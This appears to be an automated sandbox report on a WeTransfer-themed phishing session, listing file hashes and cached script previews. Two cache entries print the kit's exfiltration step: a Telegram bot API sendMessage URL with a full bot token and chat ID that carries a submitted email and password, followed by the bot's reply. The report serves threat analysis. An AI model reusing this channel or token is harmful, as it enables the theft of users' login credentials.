Preview:	L..................F.@.. ...$+.,.....Y.04...N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.M....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.M....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.M....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.M..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.VFW.E...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y=.>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 08:46:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9982441766261223
Encrypted:	false
SSDEEP:
MD5:	B1D182F9EFA1DBF29E479E4492F83694
SHA1:	1C8DFCC7732C64B4765290EBC5681607EAF90E16
SHA-256:	AAC314047D974E0D02CC0F46F32AE5A73C734001CF3F0FA12112BD0B6034FD72
SHA-512:	9AE0CED38C40F34E0956E655EE8D894030AB9597202B9A5F41EB85C464E648EED6870911DB98A38CBF65518C3ACE43FDF09BFB1E4B91533BB85EEDC48D34A33A
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.......>hE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.M....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.M....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.M....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.M..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.M...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y=.>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 08:46:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9855323955442232
Encrypted:	false
SSDEEP:
MD5:	5BD08318093A2D87551C8BF87814340D
SHA1:	69DE467157FEA03FE6528AE3574AEC87E5A67C5B
SHA-256:	5806113A5C5CF1F32AF21AA3E513B3C296DBD8973C39D1D0FA41B1E519CE9FCC
SHA-512:	7E81C283250D77FAF23793EF04C022167BD7229173700966EB3D53D7238760D6B86F6B5AA3AD156CB4EA78159E2F499726A0946424A34B44398C1C52C0B3D619
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,.....G.>hE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.M....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.M....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.M....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.M..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.M...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y=.>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Tue Dec 3 08:46:36 2024, atime=Wed Sep 27 04:28:28 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	3.9948042619291586
Encrypted:	false
SSDEEP:
MD5:	9AB47201C8DFB4B84615D38303839453
SHA1:	560F032EFA9AA63C69AA0F464E6209CBF7B68DAE
SHA-256:	392BF74BB9D3A360B2EA7CC93E562B900BF5164158F2176C7083BF5E578D0D73
SHA-512:	E84A719F739FDA2D280E7154BEE1AB5EDEC40B0A0302FFDF9A775AAEB6501611372342022C440880CB6D75014EDEA38C759CE6D8BA396E7F3331AB97EC97CE25
Malicious:	false
Reputation:	unknown
Preview:	L..................F.@.. ...$+.,....@.>hE..N.Yr.... w......................1....P.O. .:i.....+00.../C:\.....................1.....FW.J..PROGRA~1..t......O.I.Y.M....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.V.Y.M....L.....................p+j.G.o.o.g.l.e.....T.1.....CW.V..Chrome..>......CW.V.Y.M....M......................8..C.h.r.o.m.e.....`.1.....CW.V..APPLIC~1..H......CW.V.Y.M..........................."&.A.p.p.l.i.c.a.t.i.o.n.....n.2. w..;W.+ .CHROME~1.EXE..R......CW.V.Y.M...........................H..c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........Y=.>.....C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	downloaded
Size (bytes):	395
Entropy (8bit):	4.782818136224428
Encrypted:	false
SSDEEP:
MD5:	C68060335D40987C3E5F9857ED860CCA
SHA1:	3DEA7368F402B0873722898B00C963202270C0C2
SHA-256:	2FC83B61C2980505FD2E9DA7268E199FCC2ED49D9DF80993A5749200683334AA
SHA-512:	75436E87C594BE7931205D0EF374D333E0FE380C96464898DA74D132E3C78F19D931E86F2A4C36FDABD6609C842AC84A85CB025C80ED4284CD23B849999E32B7
Malicious:	false
Reputation:	unknown
URL:	https://api.telegram.org/bot7499623592:AAG4sRR7YzmOAFkZFFwiAbBsnnHB-lXYLSk/sendMessage?chat_id=1411469413&text=%F0%9F%8E%96%EF%B8%8F%F0%9F%92%B0%20-%20tutuutututututu%40iledefrance.fr%3Atutututututututututututu
Preview:	{"ok":true,"result":{"message_id":1757,"from":{"id":7499623592,"is_bot":true,"first_name":"wetranchocobot","username":"wetranchocobot_bot"},"chat":{"id":1411469413,"first_name":"Pita","username":"gonpita10","type":"private"},"date":1733219307,"text":"\ud83c\udf96\ufe0f\ud83d\udcb0 - tutuutututututu@iledefrance.fr:tutututututututututututu","entities":[{"offset":8,"length":30,"type":"email"}]}}

Chrome Cache Entry: 78

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	315
Entropy (8bit):	5.0572271090563765
Encrypted:	false
SSDEEP:
MD5:	A34AC19F4AFAE63ADC5D2F7BC970C07F
SHA1:	A82190FC530C265AA40A045C21770D967F4767B8
SHA-256:	D5A89E26BEAE0BC03AD18A0B0D1D3D75F87C32047879D25DA11970CB5C4662A3
SHA-512:	42E53D96E5961E95B7A984D9C9778A1D3BD8EE0C87B8B3B515FA31F67C2D073C8565AFC2F4B962C43668C4EFA1E478DA9BB0ECFFA79479C7E880731BC4C55765
Malicious:	false
Reputation:	unknown
URL:	https://connexion-espacesclients.support/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>404 Not Found</title>.</head><body>.<h1>Not Found</h1>.<p>The requested URL was not found on this server.</p>.<p>Additionally, a 404 Not Found.error was encountered while trying to use an ErrorDocument to handle the request.</p>.</body></html>.

Chrome Cache Entry: 79

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8946)
Category:	downloaded
Size (bytes):	8999
Entropy (8bit):	5.466782773174583
Encrypted:	false
SSDEEP:
MD5:	877CE10DC5519261469F5E99AEEEA24F
SHA1:	E415DE1F3979BC2F63867F631B7FE6A8ACE5C0E0
SHA-256:	7EA9D75FA39F91A990C7005B27E14D88FF66A76F3D1659F6E66ED8557FB24FCC
SHA-512:	3A55E0D520B2D87F7BC45BD1C42EAF5ABDE30F90C6618C2D8989EEE482549E94B3AD63F8208A70890E08A090EC0D588A5C977F0C3401158EF616D77B248658D5
Malicious:	false
Reputation:	unknown
URL:	https://cdn.wetransfer.com/_next/static/chunks/webpack-24079c2749c7de8f.js
Preview:	!function(){"use strict";var e={},t={};function c(n){var a=t[n];if(void 0!==a)return a.exports;var r=t[n]={id:n,loaded:!1,exports:{}},f=!0;try{e[n].call(r.exports,r,r.exports,c),f=!1}finally{f&&delete t[n]}return r.loaded=!0,r.exports}c.m=e,c.amdO={},function(){var e=[];c.O=function(t,n,a,r){if(!n){var f=1/0;for(i=0;i<e.length;i++){n=e[i][0],a=e[i][1],r=e[i][2];for(var d=!0,o=0;o<n.length;o++)(!1&r\|\|f>=r)&&Object.keys(c.O).every((function(e){return c.O[e](n[o])}))?n.splice(o--,1):(d=!1,r<f&&(f=r));if(d){e.splice(i--,1);var b=a();void 0!==b&&(t=b)}}return t}r=r\|\|0;for(var i=e.length;i>0&&e[i-1][2]>r;i--)e[i]=e[i-1];e[i]=[n,a,r]}}(),c.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return c.d(t,{a:t}),t},function(){var e,t=Object.getPrototypeOf?function(e){return Object.getPrototypeOf(e)}:function(e){return e.__proto__};c.t=function(n,a){if(1&a&&(n=this(n)),8&a)return n;if("object"===typeof n&&n){if(4&a&&n.__esModule)return n;if(16&a&&"function"===ty

Chrome Cache Entry: 80

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (26464)
Category:	downloaded
Size (bytes):	26518
Entropy (8bit):	5.4041533878294405
Encrypted:	false
SSDEEP:
MD5:	87BD43A0F67DF806AF68EC16AF14CB9B
SHA1:	8D0F13CA7DF0CE6E5F13D01F6387AC6FB1B125B8
SHA-256:	222F9FFA24E24CBF81370C05BBA429A55B98C2639E28715C83C5B6BD760644D7
SHA-512:	079A525A6CB50CB2D62D05D9ED9F923E4C1740F91D0603A9C6409B0DF98DEAB7FC1ADAE07D72F74C3856EDA96135CE3ECEB4F566FAB21687FF9F3280A99EBBE0
Malicious:	false
Reputation:	unknown
URL:	https://cdn.wetransfer.com/_next/static/chunks/dde21195-6c6c00cfa3825e3c.js
Preview:	"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[620],{44526:function(t,e,a){var n;function r(){return n\|\|(n=URL.createObjectURL(new Blob(["(".concat(i,")(self)")]))),new Worker(n)}function i(){function t(t){return function(){try{return t.apply(this,arguments)}catch(e){try{self.postMessage({type:"errored",error:e})}catch(a){self.postMessage({type:"errored",error:"".concat(e)})}}}}t((function(){var e=function(){var t=4,e=0,a=1,n=2;function r(t){for(var e=t.length;--e>=0;)t[e]=0}var i=0,s=1,_=2,h=3,l=258,o=29,d=256,u=d+1+o,f=30,c=19,p=2u+1,g=15,w=16,b=7,v=256,m=16,y=17,k=18,z=new Uint8Array([0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0]),x=new Uint8Array([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13]),A=new Uint8Array([0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,2,3,7]),E=new Uint8Array([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]),Z=512,U=new Array(2(u+2));r(U);var R=new Array(2*f);r(R);var S=new Array(Z);r(S);var L=new Array(l-h+1);r(L

Chrome Cache Entry: 81

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8788), with no line terminators
Category:	dropped
Size (bytes):	8788
Entropy (8bit):	5.734112779959566
Encrypted:	false
SSDEEP:
MD5:	83E52F8FDCDE6C82B388295A13EF7A4B
SHA1:	C75B07EF03094FF323BC3C8C6BABB960AC8E5E00
SHA-256:	22B11CCD47B658E493EB15426F687580FB1ADDE5B285E9FAA81856256AAB3145
SHA-512:	19508B361E3E09D7F8B74DE9C3F6EED97105EC3390E6739D7293B88A5C71D3EE918CEBDC8864664BD7985AAE7EC05468C0E8F9B25D50D8BF7342BC967FE17512
Malicious:	false
Reputation:	unknown
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(X,h,i,j,k,o,s,B,D){X=b,function(d,e,W,f,g){for(W=b,f=d();!![];)try{if(g=-parseInt(W(256))/1(parseInt(W(211))/2)+-parseInt(W(207))/3(-parseInt(W(191))/4)+parseInt(W(204))/5(-parseInt(W(253))/6)+parseInt(W(196))/7+-parseInt(W(167))/8+parseInt(W(144))/9+-parseInt(W(197))/10(-parseInt(W(171))/11),e===g)break;else f.push(f.shift())}catch(F){f.push(f.shift())}}(a,210117),h=this\|\|self,i=h[X(260)],j={},j[X(162)]='o',j[X(177)]='s',j[X(259)]='u',j[X(224)]='z',j[X(235)]='n',j[X(239)]='I',j[X(218)]='b',k=j,h[X(146)]=function(g,F,G,H,a2,J,K,L,M,N,O){if(a2=X,F===null\|\|void 0===F)return H;for(J=n(F),g[a2(230)][a2(147)]&&(J=J[a2(209)](g[a2(230)][a2(147)](F))),J=g[a2(210)][a2(156)]&&g[a2(157)]?g[a2(210)][a2(156)](new g[(a2(157))](J)):function(P,a3,Q){for(a3=a2,P[a3(208)](),Q=0;Q<P[a3(236)];P[Q]===P[Q+1]?P[a3(237)](Q+1,1):Q+=1);return P}(J),K='nAsAaAb'.split('A'),K=K[a2(250)][a2(152)](K),L=0;L<J[a2(236)];M=J[L],N=m(g,F,M),K(N)?(O=N==='s'&&!g[a2(190)](F[M]),a2

Chrome Cache Entry: 82

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 35 x 22, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	4.068159130770306
Encrypted:	false
SSDEEP:
MD5:	7D02A37061AEB81435543EFFDB06C188
SHA1:	523CA13C7619D8359ABB1D4073B24F4C7A3E4B45
SHA-256:	AD590AF437011A57BB04371B9E915BFA462E5E6A39B3FDC0476BFA2902D1C7EA
SHA-512:	403FB73ECBAA64A32E09657CD728FDD6A9F7790CD800AF5B7BA489A216D325B810BE1CBA582BE51EB65D5E9A601F5EA304EE1DC838D494340DCD7965436FC089
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...#.................IDAT.....$.....IEND.B`.

Chrome Cache Entry: 83

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	104669
Entropy (8bit):	5.3281806480535305
Encrypted:	false
SSDEEP:
MD5:	8135B1C2F278433EE0474F97F2AABFC6
SHA1:	67A7538810D4A1439477386638A437161D2BD615
SHA-256:	F585FCA547DB0E4F45281E2AAF119AD41D4C9DB22291F7363E2F58CFC76E385A
SHA-512:	43A8EC343EE3C52933F97CEB0C6F4DA92BF53C6E2520397F6546BA7798BE7BC7A77EC6AFFFE86A707A76933EBA856552DD7A53141658CCCCCAC4E5FC921BA1F7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.wetransfer.com/_next/static/chunks/main-63f63e43320749d4.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[179],{5651:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e,t){(null==t\|\|t>e.length)&&(t=e.length);for(var r=0,n=new Array(t);r<t;r++)n[r]=e[r];return n}},47568:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){if(Array.isArray(e))return e}},61476:function(e,t,r){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){if(Array.isArray(e))return a.default(e)};var n,a=(n=r(5651))&&n.__esModule?n:{default:n}},96385:function(e,t){"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.default=function(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}},18282:function(e,t){"use strict";function r(e,t,r,n,a,o,i){try{var u=e[o](i),c=u.value}catch(s){return void r(s)}u.done?t(c):Promise.resolve(c).then(n,a)}t.Z=function(e){return function(){var t=

Chrome Cache Entry: 84

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (47694)
Category:	downloaded
Size (bytes):	47695
Entropy (8bit):	5.401531363850578
Encrypted:	false
SSDEEP:
MD5:	1685878B80EECB073E51C13F17A5E530
SHA1:	0FFFA666F98F2D8C1156D46D7F9AB90C5B089AF3
SHA-256:	C61E2E1347B9ACA3D8F0C9725490470651A1F6C02841FF71F90305EA391CA6D2
SHA-512:	2B32A82A8E7E0A1F6203A04C3E7DDAE6AC3A4438B2309DC04EA112D862839902DD47D2E4A569BCB6F91E359B1F8197F3A179A206A458881A66E89860F96D526E
Malicious:	false
Reputation:	unknown
URL:	https://challenges.cloudflare.com/turnstile/v0/b/a6e12e96a2d5/api.js?onload=sLNwD4&render=explicit
Preview:	"use strict";(function(){function Ht(e,r,n,o,c,u,g){try{var h=e[u](g),l=h.value}catch(p){n(p);return}h.done?r(l):Promise.resolve(l).then(o,c)}function Bt(e){return function(){var r=this,n=arguments;return new Promise(function(o,c){var u=e.apply(r,n);function g(l){Ht(u,o,c,g,h,"next",l)}function h(l){Ht(u,o,c,g,h,"throw",l)}g(void 0)})}}function D(e,r){return r!=null&&typeof Symbol!="undefined"&&r[Symbol.hasInstance]?!!r[Symbol.hasInstance](e):D(e,r)}function Me(e,r,n){return r in e?Object.defineProperty(e,r,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[r]=n,e}function Fe(e){for(var r=1;r<arguments.length;r++){var n=arguments[r]!=null?arguments[r]:{},o=Object.keys(n);typeof Object.getOwnPropertySymbols=="function"&&(o=o.concat(Object.getOwnPropertySymbols(n).filter(function(c){return Object.getOwnPropertyDescriptor(n,c).enumerable}))),o.forEach(function(c){Me(e,c,n[c])})}return e}function Sr(e,r){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var o=Object.getOwnPropertyS

Chrome Cache Entry: 86

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	390
Entropy (8bit):	4.7920055787698566
Encrypted:	false
SSDEEP:
MD5:	F66A35CFC4582B52CC673CE25E554500
SHA1:	0803FC2C64219116CE577E6C6C918AF492498B4B
SHA-256:	2271DD89EC0BD2F8C0EDD881373D5EE58B42B3D47C120DEB223DA0646D4A9068
SHA-512:	46166544E569B313E3B0567C3261CD17A876F3762CE3D82F4ECE34EEC0E36E8AB3E2E18BEAD97E9B9A94F3DE717DB6A289DA7F75D73A602A274A18489CDBDDBE
Malicious:	false
Reputation:	unknown
Preview:	{"ok":true,"result":{"message_id":1760,"from":{"id":7499623592,"is_bot":true,"first_name":"wetranchocobot","username":"wetranchocobot_bot"},"chat":{"id":1411469413,"first_name":"Pita","username":"gonpita10","type":"private"},"date":1733219316,"text":"\ud83c\udf96\ufe0f\ud83d\udcb0 - tutuutututututu@iledefrance.fr:tututututututututut","entities":[{"offset":8,"length":30,"type":"email"}]}}

Chrome Cache Entry: 87

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (8802), with no line terminators
Category:	downloaded
Size (bytes):	8802
Entropy (8bit):	5.746357802872947
Encrypted:	false
SSDEEP:
MD5:	5EBB46DC26CB1BE3292E653C5ED82184
SHA1:	CB14C1A0260E5FD5C69E8DB94C39E42E6FE59A1F
SHA-256:	18B891BB4CBD0FFF36BD9D90D026E2630AA5F22932354B8663D2D0CFEBB89636
SHA-512:	6608C1DBA5ACAD9D975CC5BF638F5E1E4B428FA915DC3C8BCF372A26B03A763FABAB9E24B775760479E9F3823D1CA66F95E1C3DA09CDB4573091229AC7295DF1
Malicious:	false
Reputation:	unknown
URL:	https://connexion-espacesclients.support/cdn-cgi/challenge-platform/h/b/scripts/jsd/a6e12e96a2d5/main.js?
Preview:	window._cf_chl_opt={cFPWv:'b'};~function(X,h,i,j,k,o,s,B,D){X=b,function(d,e,W,f,g){for(W=b,f=d();!![];)try{if(g=-parseInt(W(578))/1+parseInt(W(579))/2(parseInt(W(611))/3)+parseInt(W(621))/4+parseInt(W(615))/5(parseInt(W(608))/6)+-parseInt(W(518))/7(-parseInt(W(590))/8)+parseInt(W(523))/9+parseInt(W(519))/10(-parseInt(W(501))/11),e===g)break;else f.push(f.shift())}catch(F){f.push(f.shift())}}(a,217544),h=this\|\|self,i=h[X(584)],j={},j[X(600)]='o',j[X(564)]='s',j[X(619)]='u',j[X(512)]='z',j[X(553)]='n',j[X(588)]='I',j[X(541)]='b',k=j,h[X(620)]=function(g,F,G,H,a2,J,K,L,M,N,O){if(a2=X,null===F\|\|void 0===F)return H;for(J=n(F),g[a2(550)][a2(595)]&&(J=J[a2(598)](g[a2(550)][a2(595)](F))),J=g[a2(594)][a2(592)]&&g[a2(515)]?g[a2(594)][a2(592)](new g[(a2(515))](J)):function(P,a3,Q){for(a3=a2,P[a3(545)](),Q=0;Q<P[a3(527)];P[Q+1]===P[Q]?P[a3(582)](Q+1,1):Q+=1);return P}(J),K='nAsAaAb'.split('A'),K=K[a2(558)][a2(497)](K),L=0;L<J[a2(527)];M=J[L],N=m(g,F,M),K(N)?(O=N==='s'&&!g[a2(560)](F[M]),a2(50

Chrome Cache Entry: 89

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	68252
Entropy (8bit):	5.327149888025743
Encrypted:	false
SSDEEP:
MD5:	9680A0DA9C0EB25F705242911627D328
SHA1:	8B0367F7F109D79588DBAFB206DA2668B0EEB34B
SHA-256:	CACEED50BF88EF12DF9AA95B810284EC7F3CB623ADD20ECACB51CC98BB9D7578
SHA-512:	B619CEBB09374555FFC3EF8BE1C72ED3EB87AE427B954B82AC5434B004370456B6FEDE1C5083139A23C80B5F28796E0A706D3DF32E49085B80CC1066740BDAF7
Malicious:	false
Reputation:	unknown
URL:	https://cdn.wetransfer.com/_next/static/chunks/pages/_app-d88c4a36bc6d75ca.js
Preview:	(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[2888],{57632:function(e,t,n){"use strict";n.d(t,{Z:function(){return c}});var r={randomUUID:"undefined"!==typeof crypto&&crypto.randomUUID&&crypto.randomUUID.bind(crypto)};let o;const i=new Uint8Array(16);function u(){if(!o&&(o="undefined"!==typeof crypto&&crypto.getRandomValues&&crypto.getRandomValues.bind(crypto),!o))throw new Error("crypto.getRandomValues() not supported. See https://github.com/uuidjs/uuid#getrandomvalues-not-supported");return o(i)}const a=[];for(let l=0;l<256;++l)a.push((l+256).toString(16).slice(1));function s(e,t=0){return(a[e[t+0]]+a[e[t+1]]+a[e[t+2]]+a[e[t+3]]+"-"+a[e[t+4]]+a[e[t+5]]+"-"+a[e[t+6]]+a[e[t+7]]+"-"+a[e[t+8]]+a[e[t+9]]+"-"+a[e[t+10]]+a[e[t+11]]+a[e[t+12]]+a[e[t+13]]+a[e[t+14]]+a[e[t+15]]).toLowerCase()}var c=function(e,t,n){if(r.randomUUID&&!t&&!e)return r.randomUUID();const o=(e=e\|\|{}).random\|\|(e.rng\|\|u)();if(o[6]=15&o[6]\|64,o[8]=63&o[8]\|128,t){n=n\|\|0;for(let e=0;e<16;++e)t[n+e]=o[e];return

Chrome Cache Entry: 90

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 2 x 2, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	61
Entropy (8bit):	3.990210155325004
Encrypted:	false
SSDEEP:
MD5:	9246CCA8FC3C00F50035F28E9F6B7F7D
SHA1:	3AA538440F70873B574F40CD793060F53EC17A5D
SHA-256:	C07D7D29E3C20FA6CA4C5D20663688D52BAD13E129AD82CE06B80EB187D9DC84
SHA-512:	A2098304D541DF4C71CDE98E4C4A8FB1746D7EB9677CEBA4B19FF522EFDD981E484224479FD882809196B854DBC5B129962DBA76198D34AAECF7318BD3736C6B
Malicious:	false
Reputation:	unknown
Preview:	.PNG........IHDR...............s....IDAT.....$.....IEND.B`.

Chrome Cache Entry: 91

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65536), with no line terminators
Category:	downloaded
Size (bytes):	140966
Entropy (8bit):	5.265481962313702
Encrypted:	false
SSDEEP:
MD5:	324CEBFC999C680645874F5FF4BFFA03
SHA1:	4ADD84DA7D8B03E756CBAEA8A3ED7BC11A5BCAFB
SHA-256:	94FC3FEC64F05122551EB50231B245FECC8CCF775383A841DBFE4E468E51C84E
SHA-512:	517E20135E58A02CABF36D182A1B7F9112BFEF76EC303EDE76E580985E49A130D11D4CD7FA8E2C1B6282304F0965178483EE5F112B5D668C2B258CBF7163A580
Malicious:	false
Reputation:	unknown
URL:	https://cdn.wetransfer.com/_next/static/chunks/framework-5db9cf64c9dbe2fa.js
Preview:	"use strict";(self.webpackChunk_N_E=self.webpackChunk_N_E\|\|[]).push([[9774],{52967:function(e,n,t){var r=t(2784),l=t(14616);function a(e){for(var n="https://reactjs.org/docs/error-decoder.html?invariant="+e,t=1;t<arguments.length;t++)n+="&args[]="+encodeURIComponent(arguments[t]);return"Minified React error #"+e+"; visit "+n+" for the full message or use the non-minified dev environment for full errors and additional helpful warnings."}var o=new Set,u={};function i(e,n){s(e,n),s(e+"Capture",n)}function s(e,n){for(u[e]=n,e=0;e<n.length;e++)o.add(n[e])}var c=!("undefined"===typeof window\|\|"undefined"===typeof window.document\|\|"undefined"===typeof window.document.createElement),f=Object.prototype.hasOwnProperty,d=/^[:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7FF\uF900-\uFDCF\uFDF0-\uFFFD][:A-Z_a-z\u00C0-\u00D6\u00D8-\u00F6\u00F8-\u02FF\u0370-\u037D\u037F-\u1FFF\u200C-\u200D\u2070-\u218F\u2C00-\u2FEF\u3001-\uD7F

Chrome Cache Entry: 92

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (5953)
Category:	downloaded
Size (bytes):	7387
Entropy (8bit):	5.688924248924174
Encrypted:	false
SSDEEP:
MD5:	FD5600DA9502A1B854733BA7D372064F
SHA1:	8ADB511B5DB6CC55B361C080EA2D65926A830B8A
SHA-256:	496EC40AC38AC270D65257FDC71F6EEEDF5358634B8446ADFCC5CB98B77017A0
